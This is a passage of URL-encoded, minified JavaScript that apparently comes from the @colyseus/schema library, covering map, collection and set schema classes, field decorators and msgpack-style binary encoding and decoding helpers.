!1%2Cconfigurable%3A!0%7D)%2Ct.prototype.set%3Dfunction(t%2Cn)%7Bif(null%3D%3Dn)throw%20new%20Error(%22MapSchema%23set('%22.concat(t%2C%22'%2C%20%22).concat(n%2C%22)%3A%20trying%20to%20set%20%22).concat(n%2C%22%20value%20on%20'%22).concat(t%2C%22'.%22))%3Bvar%20r%3Dvoid%200!%3D%3Dthis.%24changes.indexes%5Bt%5D%2Co%3Dr%3Fthis.%24changes.indexes%5Bt%5D%3Athis.%24refId%2B%2B%2Ci%3Dr%3Fe.OPERATION.REPLACE%3Ae.OPERATION.ADD%2Cs%3Dvoid%200!%3D%3Dn.%24changes%3Breturn%20s%26%26n.%24changes.setParent(this%2Cthis.%24changes.root%2Co)%2Cr%3Fs%26%26this.%24items.get(t)!%3D%3Dn%26%26(i%3De.OPERATION.ADD)%3A(this.%24changes.indexes%5Bt%5D%3Do%2Cthis.%24indexes.set(o%2Ct))%2Cthis.%24items.set(t%2Cn)%2Cthis.%24changes.change(t%2Ci)%2Cthis%7D%2Ct.prototype.get%3Dfunction(e)%7Breturn%20this.%24items.get(e)%7D%2Ct.prototype.delete%3Dfunction(e)%7Breturn%20this.%24changes.delete(e)%2Cthis.%24items.delete(e)%7D%2Ct.prototype.clear%3Dfunction(t)%7Bthis.%24changes.discard(!0%2C!0)%2Cthis.%24changes.indexes%3D%7B%7D%2Cthis.%24indexes.clear()%2Ct%26%26u.call(this%2Ct)%2Cthis.%24items.clear()%2Cthis.%24changes.operation(%7Bindex%3A0%2Cop%3Ae.OPERATION.CLEAR%7D)%2Cthis.%24changes.touchParents()%7D%2Ct.prototype.has%3Dfunction(e)%7Breturn%20this.%24items.has(e)%7D%2Ct.prototype.forEach%3Dfunction(e)%7Bthis.%24items.forEach(e)%7D%2Ct.prototype.entries%3Dfunction()%7Breturn%20this.%24items.entries()%7D%2Ct.prototype.keys%3Dfunction()%7Breturn%20this.%24items.keys()%7D%2Ct.prototype.values%3Dfunction()%7Breturn%20this.%24items.values()%7D%2CObject.defineProperty(t.prototype%2C%22size%22%2C%7Bget%3Afunction()%7Breturn%20this.%24items.size%7D%2Cenumerable%3A!1%2Cconfigurable%3A!0%7D)%2Ct.prototype.setIndex%3Dfunction(e%2Ct)%7Bthis.%24indexes.set(e%2Ct)%7D%2Ct.prototype.getIndex%3Dfunction(e)%7Breturn%20this.%24indexes.get(e)%7D%2Ct.prototype.getByIndex%3Dfunction(e)%7Breturn%20this.%24items.get(this.%24indexes.get(e))%7D%2Ct.prototype.deleteByIndex%3Dfunction(e)%7Bvar%20t%3Dthis.%24indexes.get(e)%3Bthis.%24items.delete(t)%2Cthis.%24indexes.delete(e)%7D%2Ct.prototype.toJSON%3Dfunction()%7Bvar%20e%3D%7B%7D%3Breturn%20this.forEach((function(t%2Cn)%7Be%5Bn%5D%3D%22function%22%3D%3Dtypeof%20t.toJSON%3Ft.toJSON()%3At%7D))%2Ce%7D%2Ct.prototype.clone%3Dfunction(e)%7Bvar%20n%3Breturn%20e%3Fn%3DObject.assign(new%20t%2Cthis)%3A(n%3Dnew%20t%2Cthis.forEach((function(e%2Ct)%7Be.%24changes%3Fn.set(t%2Ce.clone())%3An.set(t%2Ce)%7D)))%2Cn%7D%2Ct%7D()%2C%24%3D%7B%7D%3Bfunction%20y(e%2Ct)%7B%24%5Be%5D%3Dt%7Dfunction%20v(e)%7Breturn%20%24%5Be%5D%7Dvar%20b%3Dfunction()%7Bfunction%20e()%7Bthis.indexes%3D%7B%7D%2Cthis.fieldsByIndex%3D%7B%7D%2Cthis.deprecated%3D%7B%7D%2Cthis.descriptors%3D%7B%7D%7Dreturn%20e.create%3Dfunction(t)%7Bvar%20n%3Dnew%20e%3Breturn%20n.schema%3DObject.assign(%7B%7D%2Ct%26%26t.schema%7C%7C%7B%7D)%2Cn.indexes%3DObject.assign(%7B%7D%2Ct%26%26t.indexes%7C%7C%7B%7D)%2Cn.fieldsByIndex%3DObject.assign(%7B%7D%2Ct%26%26t.fieldsByIndex%7C%7C%7B%7D)%2Cn.descriptors%3DObject.assign(%7B%7D%2Ct%26%26t.descriptors%7C%7C%7B%7D)%2Cn.deprecated%3DObject.assign(%7B%7D%2Ct%26%26t.deprecated%7C%7C%7B%7D)%2Cn%7D%2Ce.prototype.addField%3Dfunction(e%2Ct)%7Bvar%20n%3Dthis.getNextFieldIndex()%3Bthis.fieldsByIndex%5Bn%5D%3De%2Cthis.indexes%5Be%5D%3Dn%2Cthis.schema%5Be%5D%3DArray.isArray(t)%3F%7Barray%3At%5B0%5D%7D%3At%7D%2Ce.prototype.hasField%3Dfunction(e)%7Breturn%20void%200!%3D%3Dthis.indexes%5Be%5D%7D%2Ce.prototype.addFilter%3Dfunction(e%2Ct)%7Breturn%20this.filters%7C%7C(this.filters%3D%7B%7D%2Cthis.indexesWithFilters%3D%5B%5D)%2Cthis.filters%5Bthis.indexes%5Be%5D%5D%3Dt%2Cthis.indexesWithFilters.push(this.indexes%5Be%5D)%2C!0%7D%2Ce.prototype.addChildrenFilter%3Dfunction(e%2Ct)%7Bvar%20n%3Dthis.indexes%5Be%5D%2Cr%3Dthis.schema%5Be%5D%3Bif(v(Object.keys(r)%5B0%5D))return%20this.childFilters%7C%7C(this.childFilters%3D%7B%7D)%2Cthis.childFilters%5Bn%5D%3Dt%2C!0%3Bconsole.warn(%22%40filterChildren%3A%20field%20'%22.concat(e%2C%22'%20can't%20have%20children.%20Ignoring%20filter.%22))%7D%2Ce.prototype.getChildrenFilter%3Dfunction(e)%7Breturn%20this.childFilters%26%26this.childFilters%5Bthis.indexes%5Be%5D%5D%7D%2Ce.prototype.getNextFieldIndex%3Dfunction()%7Breturn%20Object.keys(this.schema%7C%7C%7B%7D).length%7D%2Ce%7D()%3Bfunction%20w(e)%7Breturn%20e._context%26%26e._context.useFilters%7Dvar%20x%3Dfunction()%7Bfunction%20e()%7Bthis.types%3D%7B%7D%2Cthis.schemas%3Dnew%20Map%2Cthis.useFilters%3D!1%7Dreturn%20e.prototype.has%3Dfunction(e)%7Breturn%20this.schemas.has(e)%7D%2Ce.prototype.get%3Dfunction(e)%7Breturn%20this.types%5Be%5D%7D%2Ce.prototype.add%3Dfunction(e%2Ct)%7Bvoid%200%3D%3D%3Dt%26%26(t%3Dthis.schemas.size)%2Ce._definition%3Db.create(e._definition)%2Ce._typeid%3Dt%2Cthis.types%5Bt%5D%3De%2Cthis.schemas.set(e%2Ct)%7D%2Ce.create%3Dfunction(t)%7Breturn%20void%200%3D%3D%3Dt%26%26(t%3D%7B%7D)%2Cfunction(n)%7Breturn%20t.context%7C%7C(t.context%3Dnew%20e)%2C_(n%2Ct)%7D%7D%2Ce%7D()%2CE%3Dnew%20x%3Bfunction%20_(e%2Ct)%7Breturn%20void%200%3D%3D%3Dt%26%26(t%3D%7B%7D)%2Cfunction(n%2Cr)%7Bvar%20i%3Dt.context%7C%7CE%2Cs%3Dn.constructor%3Bif(s._context%3Di%2C!e)throw%20new%20Error(%22%22.concat(s.name%2C'%3A%20%40type()%20reference%20provided%20for%20%22').concat(r%2C%22%5C%22%20is%20undefined.%20Make%20sure%20you%20don't%20have%20any%20circular%20dependencies.%22))%3Bi.has(s)%7C%7Ci.add(s)%3Bvar%20a%3Ds._definition%3Bif(a.addField(r%2Ce)%2Ca.descriptors%5Br%5D)%7Bif(a.deprecated%5Br%5D)return%3Btry%7Bthrow%20new%20Error(%22%40colyseus%2Fschema%3A%20Duplicate%20'%22.concat(r%2C%22'%20definition%20on%20'%22).concat(s.name%2C%22'.%5CnCheck%20%40type()%20annotation%22))%7Dcatch(e)%7Bvar%20c%3De.stack.split(%22%5Cn%22)%5B4%5D.trim()%3Bthrow%20new%20Error(%22%22.concat(e.message%2C%22%20%22).concat(c))%7D%7Dvar%20l%3Dp.is(e)%2Cu%3D!l%26%26m.is(e)%3Bif(%22string%22!%3Dtypeof%20e%26%26!Te.is(e))%7Bvar%20f%3DObject.values(e)%5B0%5D%3B%22string%22%3D%3Dtypeof%20f%7C%7Ci.has(f)%7C%7Ci.add(f)%7Dif(t.manual)a.descriptors%5Br%5D%3D%7Benumerable%3A!0%2Cconfigurable%3A!0%2Cwritable%3A!0%7D%3Belse%7Bvar%20d%3D%22_%22.concat(r)%3Ba.descriptors%5Bd%5D%3D%7Benumerable%3A!1%2Cconfigurable%3A!1%2Cwritable%3A!0%7D%2Ca.descriptors%5Br%5D%3D%7Bget%3Afunction()%7Breturn%20this%5Bd%5D%7D%2Cset%3Afunction(e)%7Be!%3D%3Dthis%5Bd%5D%26%26(null!%3De%3F(!l%7C%7Ce%20instanceof%20p%7C%7C(e%3Dnew(p.bind.apply(p%2Co(%5Bvoid%200%5D%2Ce%2C!1))))%2C!u%7C%7Ce%20instanceof%20m%7C%7C(e%3Dnew%20m(e))%2Cvoid%200%3D%3D%3De.%24proxy%26%26(u%3Fe%3Dg(e)%3Al%26%26(e%3Dh(e)))%2Cthis.%24changes.change(r)%2Ce.%24changes%26%26e.%24changes.setParent(this%2Cthis.%24changes.root%2Cthis._definition.indexes%5Br%5D))%3Athis%5Bd%5D%26%26this.%24changes.delete(r)%2Cthis%5Bd%5D%3De)%7D%2Cenumerable%3A!0%2Cconfigurable%3A!0%7D%7D%7D%7Dfunction%20A(e)%7Breturn%20function(t%2Cn)%7Bvar%20r%3Dt.constructor%3Br._definition.addFilter(n%2Ce)%26%26(r._context.useFilters%3D!0)%7D%7Dfunction%20O(e)%7Breturn%20function(t%2Cn)%7Bvar%20r%3Dt.constructor%3Br._definition.addChildrenFilter(n%2Ce)%26%26(r._context.useFilters%3D!0)%7D%7Dfunction%20I(e)%7Breturn%20void%200%3D%3D%3De%26%26(e%3D!0)%2Cfunction(t%2Cn)%7Bvar%20r%3Dt.constructor._definition%3Br.deprecated%5Bn%5D%3D!0%2Ce%26%26(r.descriptors%5Bn%5D%3D%7Bget%3Afunction()%7Bthrow%20new%20Error(%22%22.concat(n%2C%22%20is%20deprecated.%22))%7D%2Cset%3Afunction(e)%7B%7D%2Cenumerable%3A!1%2Cconfigurable%3A!0%7D)%7D%7Dfunction%20k(e%2Ct%2Cn)%7Bfor(var%20r%20in%20void%200%3D%3D%3Dn%26%26(n%3D%7B%7D)%2Cn.context%7C%7C(n.context%3De._context%7C%7Cn.context%7C%7CE)%2Ct)_(t%5Br%5D%2Cn)(e.prototype%2Cr)%3Breturn%20e%7Dfunction%20T(e)%7Bfor(var%20t%3D0%2Cn%3D0%2Cr%3D0%2Co%3De.length%3Br%3Co%3Br%2B%2B)(t%3De.charCodeAt(r))%3C128%3Fn%2B%3D1%3At%3C2048%3Fn%2B%3D2%3At%3C55296%7C%7Ct%3E%3D57344%3Fn%2B%3D3%3A(r%2B%2B%2Cn%2B%3D4)%3Breturn%20n%7Dfunction%20C(e%2Ct%2Cn)%7Bfor(var%20r%3D0%2Co%3D0%2Ci%3Dn.length%3Bo%3Ci%3Bo%2B%2B)(r%3Dn.charCodeAt(o))%3C128%3Fe%5Bt%2B%2B%5D%3Dr%3Ar%3C2048%3F(e%5Bt%2B%2B%5D%3D192%7Cr%3E%3E6%2Ce%5Bt%2B%2B%5D%3D128%7C63%26r)%3Ar%3C55296%7C%7Cr%3E%3D57344%3F(e%5Bt%2B%2B%5D%3D224%7Cr%3E%3E12%2Ce%5Bt%2B%2B%5D%3D128%7Cr%3E%3E6%2663%2Ce%5Bt%2B%2B%5D%3D128%7C63%26r)%3A(o%2B%2B%2Cr%3D65536%2B((1023%26r)%3C%3C10%7C1023%26n.charCodeAt(o))%2Ce%5Bt%2B%2B%5D%3D240%7Cr%3E%3E18%2Ce%5Bt%2B%2B%5D%3D128%7Cr%3E%3E12%2663%2Ce%5Bt%2B%2B%5D%3D128%7Cr%3E%3E6%2663%2Ce%5Bt%2B%2B%5D%3D128%7C63%26r)%7Dfunction%20R(e%2Ct)%7Be.push(255%26t)%7Dfunction%20S(e%2Ct)%7Be.push(255%26t)%7Dfunction%20P(e%2Ct)%7Be.push(255%26t)%2Ce.push(t%3E%3E8%26255)%7Dfunction%20M(e%2Ct)%7Be.push(255%26t)%2Ce.push(t%3E%3E8%26255)%7Dfunction%20N(e%2Ct)%7Be.push(255%26t)%2Ce.push(t%3E%3E8%26255)%2Ce.push(t%3E%3E16%26255)%2Ce.push(t%3E%3E24%26255)%7Dfunction%20D(e%2Ct)%7Bvar%20n%3Dt%3E%3E24%2Cr%3Dt%3E%3E16%2Co%3Dt%3E%3E8%2Ci%3Dt%3Be.push(255%26i)%2Ce.push(255%26o)%2Ce.push(255%26r)%2Ce.push(255%26n)%7Dfunction%20L(e%2Ct)%7Bvar%20n%3DMath.floor(t%2FMath.pow(2%2C32))%3BD(e%2Ct%3E%3E%3E0)%2CD(e%2Cn)%7Dfunction%20q(e%2Ct)%7Bvar%20n%3Dt%2FMath.pow(2%2C32)%3E%3E0%3BD(e%2Ct%3E%3E%3E0)%2CD(e%2Cn)%7Dfunction%20U(e%2Ct)%7BV(e%2Ct)%7Dfunction%20j(e%2Ct)%7BF(e%2Ct)%7Dvar%20B%3Dnew%20Int32Array(2)%2CH%3Dnew%20Float32Array(B.buffer)%2Cz%3Dnew%20Float64Array(B.buffer)%3Bfunction%20V(e%2Ct)%7BH%5B0%5D%3Dt%2CN(e%2CB%5B0%5D)%7Dfunction%20F(e%2Ct)%7Bz%5B0%5D%3Dt%2CN(e%2CB%5B0%5D)%2CN(e%2CB%5B1%5D)%7Dfunction%20W(e%2Ct)%7Breturn%20S(e%2Ct%3F1%3A0)%7Dfunction%20J(e%2Ct)%7Bt%7C%7C(t%3D%22%22)%3Bvar%20n%3DT(t)%2Cr%3D0%3Bif(n%3C32)e.push(160%7Cn)%2Cr%3D1%3Belse%20if(n%3C256)e.push(217)%2CS(e%2Cn)%2Cr%3D2%3Belse%20if(n%3C65536)e.push(218)%2CM(e%2Cn)%2Cr%3D3%3Belse%7Bif(!(n%3C4294967296))throw%20new%20Error(%22String%20too%20long%22)%3Be.push(219)%2CD(e%2Cn)%2Cr%3D5%7Dreturn%20C(e%2Ce.length%2Ct)%2Cr%2Bn%7Dfunction%20G(e%2Ct)%7Breturn%20isNaN(t)%3FG(e%2C0)%3AisFinite(t)%3Ft!%3D%3D(0%7Ct)%3F(e.push(203)%2CF(e%2Ct)%2C9)%3At%3E%3D0%3Ft%3C128%3F(S(e%2Ct)%2C1)%3At%3C256%3F(e.push(204)%2CS(e%2Ct)%2C2)%3At%3C65536%3F(e.push(205)%2CM(e%2Ct)%2C3)%3At%3C4294967296%3F(e.push(206)%2CD(e%2Ct)%2C5)%3A(e.push(207)%2Cq(e%2Ct)%2C9)%3At%3E%3D-32%3F(e.push(224%7Ct%2B32)%2C1)%3At%3E%3D-128%3F(e.push(208)%2CR(e%2Ct)%2C2)%3At%3E%3D-32768%3F(e.push(209)%2CP(e%2Ct)%2C3)%3At%3E%3D-2147483648%3F(e.push(210)%2CN(e%2Ct)%2C5)%3A(e.push(211)%2CL(e%2Ct)%2C9)%3AG(e%2Ct%3E0%3FNumber.MAX_SAFE_INTEGER%3A-Number.MAX_SAFE_INTEGER)%7Dvar%20K%3DObject.freeze(%7B__proto__%3Anull%2Cutf8Write%3AC%2Cint8%3AR%2Cuint8%3AS%2Cint16%3AP%2Cuint16%3AM%2Cint32%3AN%2Cuint32%3AD%2Cint64%3AL%2Cuint64%3Aq%2Cfloat32%3AU%2Cfloat64%3Aj%2CwriteFloat32%3AV%2CwriteFloat64%3AF%2Cboolean%3AW%2Cstring%3AJ%2Cnumber%3AG%7D)%3Bfunction%20Q(e%2Ct%2Cn)%7Bfor(var%20r%3D%22%22%2Co%3D0%2Ci%3Dt%2Cs%3Dt%2Bn%3Bi%3Cs%3Bi%2B%2B)%7Bvar%20a%3De%5Bi%5D%3B0!%3D(128%26a)%3F192!%3D(224%26a)%3F224!%3D(240%26a)%3F240!%3D(248%26a)%3Fconsole.error(%22Invalid%20byte%20%22%2Ba.toString(16))%3A(o%3D(7%26a)%3C%3C18%7C(63%26e%5B%2B%2Bi%5D)%3C%3C12%7C(63%26e%5B%2B%2Bi%5D)%3C%3C6%7C(63%26e%5B%2B%2Bi%5D)%3C%3C0)%3E%3D65536%3F(o-%3D65536%2Cr%2B%3DString.fromCharCode(55296%2B(o%3E%3E%3E10)%2C56320%2B(1023%26o)))%3Ar%2B%3DString.fromCharCode(o)%3Ar%2B%3DString.fromCharCode((15%26a)%3C%3C12%7C(63%26e%5B%2B%2Bi%5D)%3C%3C6%7C(63%26e%5B%2B%2Bi%5D)%3C%3C0)%3Ar%2B%3DString.fromCharCode((31%26a)%3C%3C6%7C63%26e%5B%2B%2Bi%5D)%3Ar%2B%3DString.fromCharCode(a)%7Dreturn%20r%7Dfunction%20X(e%2Ct)%7Breturn%20Y(e%2Ct)%3C%3C24%3E%3E24%7Dfunction%20Y(e%2Ct)%7Breturn%20e%5Bt.offset%2B%2B%5D%7Dfunction%20Z(e%2Ct)%7Breturn%20ee(e%2Ct)%3C%3C16%3E%3E16%7Dfunction%20ee(e%2Ct)%7Breturn%20e%5Bt.offset%2B%2B%5D%7Ce%5Bt.offset%2B%2B%5D%3C%3C8%7Dfunction%20te(e%2Ct)%7Breturn%20e%5Bt.offset%2B%2B%5D%7Ce%5Bt.offset%2B%2B%5D%3C%3C8%7Ce%5Bt.offset%2B%2B%5D%3C%3C16%7Ce%5Bt.offset%2B%2B%5D%3C%3C24%7Dfunction%20ne(e%2Ct)%7Breturn%20te(e%2Ct)%3E%3E%3E0%7Dfunction%20re(e%2Ct)%7Breturn%20ue(e%2Ct)%7Dfunction%20oe(e%2Ct)%7Breturn%20fe(e%2Ct)%7Dfunction%20ie(e%2Ct)%7Bvar%20n%3Dne(e%2Ct)%3Breturn%20te(e%2Ct)*Math.pow(2%2C32)%2Bn%7Dfunction%20se(e%2Ct)%7Bvar%20n%3Dne(e%2Ct)%3Breturn%20ne(e%2Ct)*Math.pow(2%2C32)%2Bn%7Dvar%20ae%3Dnew%20Int32Array(2)%2Cce%3Dnew%20Float32Array(ae.buffer)%2Cle%3Dnew%20Float64Array(ae.buffer)%3Bfunction%20ue(e%2Ct)%7Breturn%20ae%5B0%5D%3Dte(e%2Ct)%2Cce%5B0%5D%7Dfunction%20fe(e%2Ct)%7Breturn%20ae%5B0%5D%3Dte(e%2Ct)%2Cae%5B1%5D%3Dte(e%2Ct)%2Cle%5B0%5D%7Dfunction%20de(e%2Ct)%7Breturn%20Y(e%2Ct)%3E0%7Dfunction%20he(e%2Ct)%7Bvar%20n%2Cr%3De%5Bt.offset%2B%2B%5D%3Br%3C192%3Fn%3D31%26r%3A217%3D%3D%3Dr%3Fn%3DY(e%2Ct)%3A218%3D%3D%3Dr%3Fn%3Dee(e%2Ct)%3A219%3D%3D%3Dr%26%26(n%3Dne(e%2Ct))%3Bvar%20o%3DQ(e%2Ct.offset%2Cn)%3Breturn%20t.offset%2B%3Dn%2Co%7Dfunction%20pe(e%2Ct)%7Bvar%20n%3De%5Bt.offset%5D%3Breturn%20n%3C192%26%26n%3E160%7C%7C217%3D%3D%3Dn%7C%7C218%3D%3D%3Dn%7C%7C219%3D%3D%3Dn%7Dfunction%20ge(e%2Ct)%7Bvar%20n%3De%5Bt.offset%2B%2B%5D%3Breturn%20n%3C128%3Fn%3A202%3D%3D%3Dn%3Fue(e%2Ct)%3A203%3D%3D%3Dn%3Ffe(e%2Ct)%3A204%3D%3D%3Dn%3FY(e%2Ct)%3A205%3D%3D%3Dn%3Fee(e%2Ct)%3A206%3D%3D%3Dn%3Fne(e%2Ct)%3A207%3D%3D%3Dn%3Fse(e%2Ct)%3A208%3D%3D%3Dn%3FX(e%2Ct)%3A209%3D%3D%3Dn%3FZ(e%2Ct)%3A210%3D%3D%3Dn%3Fte(e%2Ct)%3A211%3D%3D%3Dn%3Fie(e%2Ct)%3An%3E223%3F-1*(255-n%2B1)%3Avoid%200%7Dfunction%20me(e%2Ct)%7Bvar%20n%3De%5Bt.offset%5D%3Breturn%20n%3C128%7C%7Cn%3E%3D202%26%26n%3C%3D211%7Dfunction%20%24e(e%2Ct)%7Breturn%20e%5Bt.offset%5D%3C160%7Dfunction%20ye(e%2Ct)%7Breturn%20e%5Bt.offset-1%5D%3D%3D%3Ds%26%26(e%5Bt.offset%5D%3C128%7C%7Ce%5Bt.offset%5D%3E%3D202%26%26e%5Bt.offset%5D%3C%3D211)%7Dvar%20ve%3DObject.freeze(%7B__proto__%3Anull%2Cint8%3AX%2Cuint8%3AY%2Cint16%3AZ%2Cuint16%3Aee%2Cint32%3Ate%2Cuint32%3Ane%2Cfloat32%3Are%2Cfloat64%3Aoe%2Cint64%3Aie%2Cuint64%3Ase%2CreadFloat32%3Aue%2CreadFloat64%3Afe%2Cboolean%3Ade%2Cstring%3Ahe%2CstringCheck%3Ape%2Cnumber%3Age%2CnumberCheck%3Ame%2CarrayCheck%3A%24e%2CswitchStructureCheck%3Aye%7D)%2Cbe%3Dfunction()%7Bfunction%20t(e)%7Bvar%20t%3Dthis%3Bthis.%24changes%3Dnew%20c(this)%2Cthis.%24items%3Dnew%20Map%2Cthis.%24indexes%3Dnew%20Map%2Cthis.%24refId%3D0%2Ce%26%26e.forEach((function(e)%7Breturn%20t.add(e)%7D))%7Dreturn%20t.prototype.onAdd%3Dfunction(t%2Cn)%7Breturn%20void%200%3D%3D%3Dn%26%26(n%3D!0)%2Cl(this.%24callbacks%7C%7C(this.%24callbacks%3D%5B%5D)%2Ce.OPERATION.ADD%2Ct%2Cn%3Fthis.%24items%3Avoid%200)%7D%2Ct.prototype.onRemove%3Dfunction(t)%7Breturn%20l(this.%24callbacks%7C%7C(this.%24callbacks%3D%5B%5D)%2Ce.OPERATION.DELETE%2Ct)%7D%2Ct.prototype.onChange%3Dfunction(t)%7Breturn%20l(this.%24callbacks%7C%7C(this.%24callbacks%3D%5B%5D)%2Ce.OPERATION.REPLACE%2Ct)%7D%2Ct.is%3Dfunction(e)%7Breturn%20void%200!%3D%3De.collection%7D%2Ct.prototype.add%3Dfunction(e)%7Bvar%20t%3Dthis.%24refId%2B%2B%3Breturn%20void%200!%3D%3De.%24changes%26%26e.%24changes.setParent(this%2Cthis.%24changes.root%2Ct)%2Cthis.%24changes.indexes%5Bt%5D%3Dt%2Cthis.%24indexes.set(t%2Ct)%2Cthis.%24items.set(t%2Ce)%2Cthis.%24changes.change(t)%2Ct%7D%2Ct.prototype.at%3Dfunction(e)%7Bvar%20t%3DArray.from(this.%24items.keys())%5Be%5D%3Breturn%20this.%24items.get(t)%7D%2Ct.prototype.entries%3Dfunction()%7Breturn%20this.%24items.entries()%7D%2Ct.prototype.delete%3Dfunction(e)%7Bfor(var%20t%2Cn%2Cr%3Dthis.%24items.entries()%3B(n%3Dr.next())%26%26!n.done%3B)if(e%3D%3D%3Dn.value%5B1%5D)%7Bt%3Dn.value%5B0%5D%3Bbreak%7Dreturn%20void%200!%3D%3Dt%26%26(this.%24changes.delete(t)%2Cthis.%24indexes.delete(t)%2Cthis.%24items.delete(t))%7D%2Ct.prototype.clear%3Dfunction(t)%7Bthis.%24changes.discard(!0%2C!0)%2Cthis.%24changes.indexes%3D%7B%7D%2Cthis.%24indexes.clear()%2Ct%26%26u.call(this%2Ct)%2Cthis.%24items.clear()%2Cthis.%24changes.operation(%7Bindex%3A0%2Cop%3Ae.OPERATION.CLEAR%7D)%2Cthis.%24changes.touchParents()%7D%2Ct.prototype.has%3Dfunction(e)%7Breturn%20Array.from(this.%24items.values()).some((function(t)%7Breturn%20t%3D%3D%3De%7D))%7D%2Ct.prototype.forEach%3Dfunction(e)%7Bvar%20t%3Dthis%3Bthis.%24items.forEach((function(n%2Cr%2Co)%7Breturn%20e(n%2Cr%2Ct)%7D))%7D%2Ct.prototype.values%3Dfunction()%7Breturn%20this.%24items.values()%7D%2CObject.defineProperty(t.prototype%2C%22size%22%2C%7Bget%3Afunction()%7Breturn%20this.%24items.size%7D%2Cenumerable%3A!1%2Cconfigurable%3A!0%7D)%2Ct.prototype.setIndex%3Dfunction(e%2Ct)%7Bthis.%24indexes.set(e%2Ct)%7D%2Ct.prototype.getIndex%3Dfunction(e)%7Breturn%20this.%24indexes.get(e)%7D%2Ct.prototype.getByIndex%3Dfunction(e)%7Breturn%20this.%24items.get(this.%24indexes.get(e))%7D%2Ct.prototype.deleteByIndex%3Dfunction(e)%7Bvar%20t%3Dthis.%24indexes.get(e)%3Bthis.%24items.delete(t)%2Cthis.%24indexes.delete(e)%7D%2Ct.prototype.toArray%3Dfunction()%7Breturn%20Array.from(this.%24items.values())%7D%2Ct.prototype.toJSON%3Dfunction()%7Bvar%20e%3D%5B%5D%3Breturn%20this.forEach((function(t%2Cn)%7Be.push(%22function%22%3D%3Dtypeof%20t.toJSON%3Ft.toJSON()%3At)%7D))%2Ce%7D%2Ct.prototype.clone%3Dfunction(e)%7Bvar%20n%3Breturn%20e%3Fn%3DObject.assign(new%20t%2Cthis)%3A(n%3Dnew%20t%2Cthis.forEach((function(e)%7Be.%24changes%3Fn.add(e.clone())%3An.add(e)%7D)))%2Cn%7D%2Ct%7D()%2Cwe%3Dfunction()%7Bfunction%20t(e)%7Bvar%20t%3Dthis%3Bthis.%24changes%3Dnew%20c(this)%2Cthis.%24items%3Dnew%20Map%2Cthis.%24indexes%3Dnew%20Map%2Cthis.%24refId%3D0%2Ce%26%26e.forEach((function(e)%7Breturn%20t.add(e)%7D))%7Dreturn%20t.prototype.onAdd%3Dfunction(t%2Cn)%7Breturn%20void%200%3D%3D%3Dn%26%26(n%3D!0)%2Cl(this.%24callbacks%7C%7C(this.%24callbacks%3D%5B%5D)%2Ce.OPERATION.ADD%2Ct%2Cn%3Fthis.%24items%3Avoid%200)%7D%2Ct.prototype.onRemove%3Dfunction(t)%7Breturn%20l(this.%24callbacks%7C%7C(this.%24callbacks%3D%5B%5D)%2Ce.OPERATION.DELETE%2Ct)%7D%2Ct.prototype.onChange%3Dfunction(t)%7Breturn%20l(this.%24callbacks%7C%7C(this.%24callbacks%3D%5B%5D)%2Ce.OPERATION.REPLACE%2Ct)%7D%2Ct.is%3Dfunction(e)%7Breturn%20void%200!%3D%3De.set%7D%2Ct.prototype.add%3Dfunction(t)%7Bvar%20n%2Cr%3Bif(this.has(t))return!1%3Bvar%20o%3Dthis.%24refId%2B%2B%3Bvoid%200!%3D%3Dt.%24changes%26%26t.%24changes.setParent(this%2Cthis.%24changes.root%2Co)%3Bvar%20i%3Dnull!%3D%3D(r%3Dnull%3D%3D%3D(n%3Dthis.%24changes.indexes%5Bo%5D)%7C%7Cvoid%200%3D%3D%3Dn%3Fvoid%200%3An.op)%26%26void%200!%3D%3Dr%3Fr%3Ae.OPERATION.ADD%3Breturn%20this.%24changes.indexes%5Bo%5D%3Do%2Cthis.%24indexes.set(o%2Co)%2Cthis.%24items.set(o%2Ct)%2Cthis.%24changes.change(o%2Ci)%2Co%7D%2Ct.prototype.entries%3Dfunction()%7Breturn%20this.%24items.entries()%7D%2Ct.prototype.delete%3Dfunction(e)%7Bfor(var%20t%2Cn%2Cr%3Dthis.%24items.entries()%3B(n%3Dr.next())%26%26!n.done%3B)if(e%3D%3D%3Dn.value%5B1%5D)%7Bt%3Dn.value%5B0%5D%3Bbreak%7Dreturn%20void%200!%3D%3Dt%26%26(this.%24changes.delete(t)%2Cthis.%24indexes.delete(t)%2Cthis.%24items.delete(t))%7D%2Ct.prototype.clear%3Dfunction(t)%7Bthis.%24changes.discard(!0%2C!0)%2Cthis.%24changes.indexes%3D%7B%7D%2Cthis.%24indexes.clear()%2Ct%26%26u.call(this%2Ct)%2Cthis.%24items.clear()%2Cthis.%24changes.operation(%7Bindex%3A0%2Cop%3Ae.OPERATION.CLEAR%7D)%2Cthis.%24changes.touchParents()%7D%2Ct.prototype.has%3Dfunction(e)%7Bfor(var%20t%2Cn%3Dthis.%24items.values()%2Cr%3D!1%3B(t%3Dn.next())%26%26!t.done%3B)if(e%3D%3D%3Dt.value)%7Br%3D!0%3Bbreak%7Dreturn%20r%7D%2Ct.prototype.forEach%3Dfunction(e)%7Bvar%20t%3Dthis%3Bthis.%24items.forEach((function(n%2Cr%2Co)%7Breturn%20e(n%2Cr%2Ct)%7D))%7D%2Ct.prototype.values%3Dfunction()%7Breturn%20this.%24items.values()%7D%2CObject.defineProperty(t.prototype%2C%22size%22%2C%7Bget%3Afunction()%7Breturn%20this.%24items.size%7D%2Cenumerable%3A!1%2Cconfigurable%3A!0%7D)%2Ct.prototype.setIndex%3Dfunction(e%2Ct)%7Bthis.%24indexes.set(e%2Ct)%7D%2Ct.prototype.getIndex%3Dfunction(e)%7Breturn%20this.%24indexes.get(e)%7D%2Ct.prototype.getByIndex%3Dfunction(e)%7Breturn%20this.%24items.get(this.%24indexes.get(e))%7D%2Ct.prototype.deleteByIndex%3Dfunction(e)%7Bvar%20t%3Dthis.%24indexes.get(e)%3Bthis.%24items.delete(t)%2Cthis.%24indexes.delete(e)%7D%2Ct.prototype.toArray%3Dfunction()%7Breturn%20Array.from(this.%24items.values())%7D%2Ct.prototype.toJSON%3Dfunction()%7Bvar%20e%3D%5B%5D%3Breturn%20this.forEach((function(t%2Cn)%7Be.push(%22function%22%3D%3Dtypeof%20t.toJSON%3Ft.toJSON()%3At)%7D))%2Ce%7D%2Ct.prototype.clone%3Dfunction(e)%7Bvar%20n%3Breturn%20e%3Fn%3DObject.assign(new%20t%2Cthis)%3A(n%3Dnew%20t%2Cthis.forEach((function(e)%7Be.%24changes%3Fn.add(e.clone())%3An.add(e)%7D)))%2Cn%7D%2Ct%7D()%2Cxe%3Dfunction()%7Bfunction%20e()%7Bthis.refIds%3Dnew%20WeakSet%2Cthis.containerIndexes%3Dnew%20Wea